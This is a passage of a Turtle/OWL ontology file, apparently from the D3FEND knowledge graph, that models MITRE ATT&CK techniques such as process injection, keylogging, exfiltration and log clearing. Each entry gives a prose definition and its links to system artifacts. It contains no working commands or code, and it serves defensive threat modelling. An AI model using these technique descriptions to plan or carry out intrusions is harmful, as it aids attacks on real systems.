            owl:someValuesFrom d3f:CertificateFile ],
        d3f:T1048 .

d3f:T1048.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Exfiltration Over Unencrypted Non-C2 Protocol" ;
    d3f:attack-id "T1048.003" ;
    d3f:definition "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.(Citation: copy_cmd_cisco)" ;
    d3f:produces d3f:OutboundInternetNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:OutboundInternetNetworkTraffic ],
        d3f:T1048 .

d3f:T1049 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "System Network Connections Discovery" ;
    d3f:attack-id "T1049" ;
    d3f:definition "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network." ;
    d3f:may-invoke d3f:GetOpenSockets ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-invoke ;
            owl:someValuesFrom d3f:GetOpenSockets ],
        d3f:DiscoveryTechnique .

d3f:T1050 a owl:Class ;
    rdfs:label "New Service" ;
    d3f:attack-id "T1050" ;
    d3f:definition "When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry." ;
    rdfs:comment "This technique has been revoked by T1543.003" ;
    rdfs:seeAlso d3f:T1543.003 ;
    rdfs:subClassOf d3f:PersistenceTechnique,
        d3f:PrivilegeEscalationTechnique ;
    owl:deprecated true .

d3f:T1051 a owl:Class ;
    rdfs:label "Shared Webroot" ;
    d3f:attack-id "T1051" ;
    d3f:definition "**This technique has been deprecated and should no longer be used.**" ;
    rdfs:comment "**This technique has been deprecated and should no longer be used.**" ;
    rdfs:subClassOf d3f:LateralMovementTechnique ;
    owl:deprecated true .

d3f:T1052.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Exfiltration over USB" ;
    d3f:attack-id "T1052.001" ;
    d3f:definition "Adversaries may attempt to exfiltrate data over a USB connected physical device. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user. The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems." ;
    d3f:modifies d3f:RemovableMediaDevice ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:RemovableMediaDevice ],
        d3f:T1052 .

d3f:T1053.001 a owl:Class ;
    rdfs:label "At (Linux) Execution" ;
    d3f:attack-id "T1053.001" ;
    d3f:definition "Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)" ;
    rdfs:comment "This technique has been revoked by T1053.002" ;
    rdfs:seeAlso d3f:T1053.002 ;
    rdfs:subClassOf d3f:T1053 ;
    owl:deprecated true .

d3f:T1053.003 a owl:Class ;
    rdfs:label "Cron" ;
    d3f:attack-id "T1053.003" ;
    d3f:definition "Adversaries may abuse the <code>cron</code> utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The <code>cron</code> utility is a time-based job scheduler for Unix-like operating systems.  The <code> crontab</code> file contains the schedule of cron entries to be run and the specified times for execution. Any <code>crontab</code> files are stored in operating system-specific file paths." ;
    rdfs:subClassOf d3f:T1053 .

d3f:T1053.004 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Launchd" ;
    d3f:attack-id "T1053.004" ;
    d3f:creates d3f:PropertyListFile ;
    d3f:definition "This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself." ;
    rdfs:comment "This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:PropertyListFile ],
        d3f:T1053 ;
    owl:deprecated true .

d3f:T1053.005 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Scheduled Task" ;
    d3f:attack-id "T1053.005" ;
    d3f:definition "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel.(Citation: Stack Overflow) In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) (WMI) to create a scheduled task. Adversaries may also utilize the Powershell Cmdlet `Invoke-CimMethod`, which leverages WMI class `PS_ScheduledTask` to create a scheduled task via an XML path.(Citation: Red Canary - Atomic Red Team)" ;
    d3f:executes d3f:ScheduledJob ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:executes ;
            owl:someValuesFrom d3f:ScheduledJob ],
        d3f:T1053 .

d3f:T1053.006 a owl:Class ;
    rdfs:label "Systemd Timers" ;
    d3f:attack-id "T1053.006" ;
    d3f:definition "Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension <code>.timer</code> that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the <code>systemctl</code> command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)" ;
    rdfs:subClassOf d3f:T1053 .

d3f:T1053.007 a owl:Class ;
    rdfs:label "Container Orchestration Job" ;
    d3f:attack-id "T1053.007" ;
    d3f:definition "Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster." ;
    rdfs:subClassOf d3f:T1053 .

d3f:T1054 a owl:Class ;
    rdfs:label "Indicator Blocking" ;
    d3f:attack-id "T1054" ;
    d3f:definition "An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1086) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047)." ;
    rdfs:comment "This technique has been revoked by T1562.006" ;
    rdfs:seeAlso d3f:T1562.006 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique ;
    owl:deprecated true .

d3f:T1055.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Dynamic-link Library Injection" ;
    d3f:adds d3f:SharedLibraryFile ;
    d3f:attack-id "T1055.001" ;
    d3f:definition "Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process." ;
    d3f:invokes d3f:SystemCall ;
    d3f:loads d3f:SharedLibraryFile ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:loads ;
            owl:someValuesFrom d3f:SharedLibraryFile ],
        [ a owl:Restriction ;
            owl:onProperty d3f:adds ;
            owl:someValuesFrom d3f:SharedLibraryFile ],
        [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:SystemCall ],
        d3f:T1055 .

d3f:T1055.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Portable Executable Injection" ;
    d3f:attack-id "T1055.002" ;
    d3f:definition "Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process." ;
    d3f:may-add d3f:ObjectFile ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-add ;
            owl:someValuesFrom d3f:ObjectFile ],
        d3f:T1055 .

d3f:T1055.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Thread Execution Hijacking" ;
    d3f:attack-id "T1055.003" ;
    d3f:definition "Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process." ;
    d3f:invokes d3f:SystemCall ;
    d3f:may-add d3f:ExecutableBinary ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:SystemCall ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-add ;
            owl:someValuesFrom d3f:ExecutableBinary ],
        d3f:T1055 .

d3f:T1055.004 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Asynchronous Procedure Call" ;
    d3f:attack-id "T1055.004" ;
    d3f:definition "Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process." ;
    d3f:may-invoke d3f:CreateProcess ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-invoke ;
            owl:someValuesFrom d3f:CreateProcess ],
        d3f:T1055 .

d3f:T1055.005 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Thread Local Storage" ;
    d3f:attack-id "T1055.005" ;
    d3f:definition "Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process." ;
    d3f:invokes d3f:SystemCall ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:SystemCall ],
        d3f:T1055 .

d3f:T1055.008 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Ptrace System Calls" ;
    d3f:attack-id "T1055.008" ;
    d3f:definition "Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process." ;
    d3f:invokes d3f:SystemCall ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:SystemCall ],
        d3f:T1055 .

d3f:T1055.009 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Proc Memory" ;
    d3f:accesses d3f:OperatingSystemFile ;
    d3f:attack-id "T1055.009" ;
    d3f:definition "Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process." ;
    d3f:may-modify d3f:OperatingSystemFile ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:OperatingSystemFile ],
        [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:OperatingSystemFile ],
        d3f:T1055 .

d3f:T1055.014 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "VDSO Hijacking" ;
    d3f:accesses d3f:SharedLibraryFile ;
    d3f:attack-id "T1055.014" ;
    d3f:definition "Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process." ;
    d3f:invokes d3f:SystemCall ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:SystemCall ],
        [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:SharedLibraryFile ],
        d3f:T1055 .

d3f:T1055.015 a owl:Class ;
    rdfs:label "ListPlanting" ;
    d3f:attack-id "T1055.015" ;
    d3f:definition "Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process." ;
    rdfs:subClassOf d3f:T1055 .

d3f:T1056.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Keylogging" ;
    d3f:accesses d3f:KeyboardInputDevice ;
    d3f:attack-id "T1056.001" ;
    d3f:definition "Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021)" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:KeyboardInputDevice ],
        d3f:T1056 .

d3f:T1056.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Web Portal Capture" ;
    d3f:attack-id "T1056.003" ;
    d3f:definition "Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service." ;
    d3f:modifies d3f:WebApplication ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:WebApplication ],
        d3f:T1056 .

d3f:T1057 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Process Discovery" ;
    d3f:attack-id "T1057" ;
    d3f:definition "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Administrator or otherwise elevated access may provide better process details. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions." ;
    d3f:may-invoke d3f:CreateProcess,
        d3f:GetRunningProcesses ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-invoke ;
            owl:someValuesFrom d3f:CreateProcess ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-invoke ;
            owl:someValuesFrom d3f:GetRunningProcesses ],
        d3f:DiscoveryTechnique .

d3f:T1058 a owl:Class ;
    rdfs:label "Service Registry Permissions Weakness" ;
    d3f:attack-id "T1058" ;
    d3f:definition "Windows stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1086), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)" ;
    rdfs:comment "This technique has been revoked by T1574.011" ;
    rdfs:seeAlso d3f:T1574.011 ;
    rdfs:subClassOf d3f:PersistenceTechnique,
        d3f:PrivilegeEscalationTechnique ;
    owl:deprecated true .

d3f:T1059.003 a owl:Class ;
    rdfs:label "Windows Command Shell" ;
    d3f:attack-id "T1059.003" ;
    d3f:definition "Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows)" ;
    rdfs:subClassOf d3f:T1059 .

d3f:T1059.004 a owl:Class ;
    rdfs:label "Unix Shell" ;
    d3f:attack-id "T1059.004" ;
    d3f:definition "Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges." ;
    rdfs:subClassOf d3f:T1059 ;
    skos:altLabel "Bash Execution" .

d3f:T1059.005 a owl:Class ;
    rdfs:label "Visual Basic" ;
    d3f:attack-id "T1059.005" ;
    d3f:definition "Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)" ;
    rdfs:subClassOf d3f:T1059 .

d3f:T1059.006 a owl:Class ;
    rdfs:label "Python" ;
    d3f:attack-id "T1059.006" ;
    d3f:definition "Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the <code>python.exe</code> interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.(Citation: Zscaler APT31 Covid-19 October 2020)" ;
    rdfs:subClassOf d3f:T1059 .

d3f:T1059.007 a owl:Class ;
    rdfs:label "JavaScript" ;
    d3f:attack-id "T1059.007" ;
    d3f:definition "Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)" ;
    rdfs:subClassOf d3f:T1059 .

d3f:T1059.008 a owl:Class ;
    rdfs:label "Network Device CLI" ;
    d3f:attack-id "T1059.008" ;
    d3f:definition "Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands." ;
    rdfs:subClassOf d3f:T1059 .

d3f:T1059.009 a owl:Class ;
    rdfs:label "Cloud API" ;
    d3f:attack-id "T1059.009" ;
    d3f:definition "Adversaries may abuse cloud APIs to execute malicious commands. APIs available in cloud environments provide various functionalities and are a feature-rich method for programmatic access to nearly all aspects of a tenant. These APIs may be utilized through various methods such as command line interpreters (CLIs), in-browser Cloud Shells, [PowerShell](https://attack.mitre.org/techniques/T1059/001) modules like Azure for PowerShell(Citation: Microsoft - Azure PowerShell), or software developer kits (SDKs) available for languages such as [Python](https://attack.mitre.org/techniques/T1059/006)." ;
    rdfs:subClassOf d3f:T1059 .

d3f:T1059.010 a owl:Class ;
    rdfs:label "AutoHotKey & AutoIT" ;
    d3f:attack-id "T1059.010" ;
    d3f:definition "Adversaries may execute commands and perform malicious tasks using AutoIT and AutoHotKey automation scripts. AutoIT and AutoHotkey (AHK) are scripting languages that enable users to automate Windows tasks. These automation scripts can be used to perform a wide variety of actions, such as clicking on buttons, entering text, and opening and closing programs.(Citation: AutoIT)(Citation: AutoHotKey)" ;
    rdfs:subClassOf d3f:T1059 .

d3f:T1059.011 a owl:Class ;
    rdfs:label "Lua" ;
    d3f:attack-id "T1059.011" ;
    d3f:definition "Adversaries may abuse Lua commands and scripts for execution. Lua is a cross-platform scripting and programming language primarily designed for embedded use in applications. Lua can be executed on the command-line (through the stand-alone lua interpreter), via scripts (<code>.lua</code>), or from Lua-embedded programs (through the <code>struct lua_State</code>).(Citation: Lua main page)(Citation: Lua state)" ;
    rdfs:subClassOf d3f:T1059 .

d3f:T1059.012 a owl:Class ;
    rdfs:label "Hypervisor CLI" ;
    d3f:attack-id "T1059.012" ;
    d3f:definition "Adversaries may abuse hypervisor command line interpreters (CLIs) to execute malicious commands. Hypervisor CLIs typically enable a wide variety of functionality for managing both the hypervisor itself and the guest virtual machines it hosts." ;
    rdfs:subClassOf d3f:T1059 .

d3f:T1060 a owl:Class ;
    rdfs:label "Registry Run Keys / Startup Folder" ;
    d3f:attack-id "T1060" ;
    d3f:definition "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level." ;
    rdfs:comment "This technique has been revoked by T1547.001" ;
    rdfs:seeAlso d3f:T1547.001 ;
    rdfs:subClassOf d3f:PersistenceTechnique ;
    owl:deprecated true .

d3f:T1061 a owl:Class ;
    rdfs:label "Graphical User Interface" ;
    d3f:attack-id "T1061" ;
    d3f:definition "**This technique has been deprecated. Please use [Remote Services](https://attack.mitre.org/techniques/T1021) where appropriate.**" ;
    rdfs:comment "**This technique has been deprecated. Please use [Remote Services](https://attack.mitre.org/techniques/T1021) where appropriate.**" ;
    rdfs:subClassOf d3f:ExecutionTechnique ;
    owl:deprecated true .

d3f:T1062 a owl:Class ;
    rdfs:label "Hypervisor" ;
    d3f:attack-id "T1062" ;
    d3f:definition "**This technique has been deprecated and should no longer be used.**" ;
    rdfs:comment "**This technique has been deprecated and should no longer be used.**" ;
    rdfs:subClassOf d3f:PersistenceTechnique ;
    owl:deprecated true .

d3f:T1063 a owl:Class ;
    rdfs:label "Security Software Discovery" ;
    d3f:attack-id "T1063" ;
    d3f:definition "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1063) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions." ;
    rdfs:comment "This technique has been revoked by T1518.001" ;
    rdfs:seeAlso d3f:T1518.001 ;
    rdfs:subClassOf d3f:DiscoveryTechnique ;
    owl:deprecated true .

d3f:T1064 a owl:Class ;
    rdfs:label "Scripting" ;
    d3f:attack-id "T1064" ;
    d3f:definition "**This technique has been deprecated. Please use [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) where appropriate.**" ;
    rdfs:comment "**This technique has been deprecated. Please use [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) where appropriate.**" ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique,
        d3f:ExecutionTechnique ;
    owl:deprecated true .

d3f:T1065 a owl:Class ;
    rdfs:label "Uncommonly Used Port" ;
    d3f:attack-id "T1065" ;
    d3f:definition "Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured." ;
    rdfs:comment "This technique has been revoked by T1571" ;
    rdfs:seeAlso d3f:T1571 ;
    rdfs:subClassOf d3f:CommandAndControlTechnique ;
    owl:deprecated true .

d3f:T1066 a owl:Class ;
    rdfs:label "Indicator Removal from Tools" ;
    d3f:attack-id "T1066" ;
    d3f:definition "If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems." ;
    rdfs:comment "This technique has been revoked by T1027.005" ;
    rdfs:seeAlso d3f:T1027.005 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique ;
    owl:deprecated true .

d3f:T1067 a owl:Class ;
    rdfs:label "Bootkit" ;
    d3f:attack-id "T1067" ;
    d3f:definition "A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)" ;
    rdfs:comment "This technique has been revoked by T1542.003" ;
    rdfs:seeAlso d3f:T1542.003 ;
    rdfs:subClassOf d3f:PersistenceTechnique ;
    owl:deprecated true .

d3f:T1068 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Exploitation for Privilege Escalation" ;
    d3f:attack-id "T1068" ;
    d3f:definition "Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions." ;
    d3f:enables d3f:TA0004 ;
    d3f:may-modify d3f:StackFrame ;
    d3f:modifies d3f:ProcessCodeSegment ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:ProcessCodeSegment ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:StackFrame ],
        [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0004 ],
        d3f:PrivilegeEscalationTechnique .

d3f:T1069.001 a owl:Class ;
    rdfs:label "Local Groups" ;
    d3f:attack-id "T1069.001" ;
    d3f:definition "Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group." ;
    rdfs:subClassOf d3f:T1069 .

d3f:T1069.002 a owl:Class ;
    rdfs:label "Domain Groups" ;
    d3f:attack-id "T1069.002" ;
    d3f:definition "Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators." ;
    rdfs:subClassOf d3f:T1069 .

d3f:T1069.003 a owl:Class ;
    rdfs:label "Cloud Groups" ;
    d3f:attack-id "T1069.003" ;
    d3f:definition "Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group." ;
    rdfs:subClassOf d3f:T1069 .

d3f:T1070.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Clear Windows Event Logs" ;
    d3f:attack-id "T1070.001" ;
    d3f:definition "Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit." ;
    d3f:modifies d3f:EventLog ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:EventLog ],
        d3f:T1070 .

d3f:T1070.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Clear Linux or Mac System Logs" ;
    d3f:attack-id "T1070.002" ;
    d3f:definition "Adversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the <code>/var/log/</code> directory. Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs)" ;
    d3f:modifies d3f:OperatingSystemLogFile ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:OperatingSystemLogFile ],
        d3f:T1070 .

d3f:T1070.007 a owl:Class ;
    rdfs:label "Clear Network Connection History and Configurations" ;
    d3f:attack-id "T1070.007" ;
    d3f:definition "Adversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations. Configuration settings as well as various artifacts that highlight connection history may be created on a system and/or in application logs from behaviors that require network connections, such as [Remote Services](https://attack.mitre.org/techniques/T1021) or [External Remote Services](https://attack.mitre.org/techniques/T1133). Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries." ;
    rdfs:subClassOf d3f:T1070 .

d3f:T1070.008 a owl:Class ;
    rdfs:label "Clear Mailbox Data" ;
    d3f:attack-id "T1070.008" ;
    d3f:definition "Adversaries may modify mail and mail application data to remove evidence of their activity. Email applications allow users and other programs to export and delete mailbox data via command line tools or use of APIs. Mail application data can be emails, email metadata, or logs generated by the application or operating system, such as export requests." ;
    rdfs:subClassOf d3f:T1070 .

d3f:T1070.009 a owl:Class ;
    rdfs:label "Clear Persistence" ;
    d3f:attack-id "T1070.009" ;
    d3f:definition "Adversaries may clear artifacts associated with previously established persistence on a host system to remove evidence of their activity. This may involve various actions, such as removing services, deleting executables, [Modify Registry](https://attack.mitre.org/techniques/T1112), [Plist File Modification](https://attack.mitre.org/techniques/T1647), or other methods of cleanup to prevent defenders from collecting evidence of their persistent presence.(Citation: Cylance Dust Storm) Adversaries may also delete accounts previously created to maintain persistence (i.e. [Create Account](https://attack.mitre.org/techniques/T1136)).(Citation: Talos - Cisco Attack 2022)" ;
    rdfs:subClassOf d3f:T1070 .

d3f:T1070.010 a owl:Class ;
    rdfs:label "Relocate Malware" ;
    d3f:attack-id "T1070.010" ;
    d3f:definition "Once a payload is delivered, adversaries may reproduce copies of the same malware on the victim system to remove evidence of their presence and/or avoid defenses. Copying malware payloads to new locations may also be combined with [File Deletion](https://attack.mitre.org/techniques/T1070/004) to cleanup older artifacts." ;
    rdfs:subClassOf d3f:T1070 .

d3f:T1071.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Web Protocols" ;
    d3f:attack-id "T1071.001" ;
    d3f:definition "Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server." ;
    d3f:may-transfer d3f:CertificateFile ;
    d3f:produces d3f:OutboundInternetWebTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-transfer ;
            owl:someValuesFrom d3f:CertificateFile ],
        [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:OutboundInternetWebTraffic ],
        d3f:T1071 .

d3f:T1071.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File Transfer Protocols" ;
    d3f:attack-id "T1071.002" ;
